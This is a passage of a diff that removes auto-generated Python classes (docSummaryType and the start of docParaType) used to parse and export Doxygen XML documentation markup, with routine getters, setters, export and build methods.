add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSummaryType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSummaryType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSummaryType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSummaryType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSummaryType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSummaryType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSummaryType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docSummaryType - - -class docParaType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, hruler=None, preformatted=None, programlisting=None, verbatim=None, javadocliteral=None, javadoccode=None, indexentry=None, orderedlist=None, itemizedlist=None, simplesect=None, title=None, variablelist=None, table=None, heading=None, dotfile=None, mscfile=None, diafile=None, toclist=None, language=None, parameterlist=None, xrefsect=None, copydoc=None, details=None, blockquote=None, parblock=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - 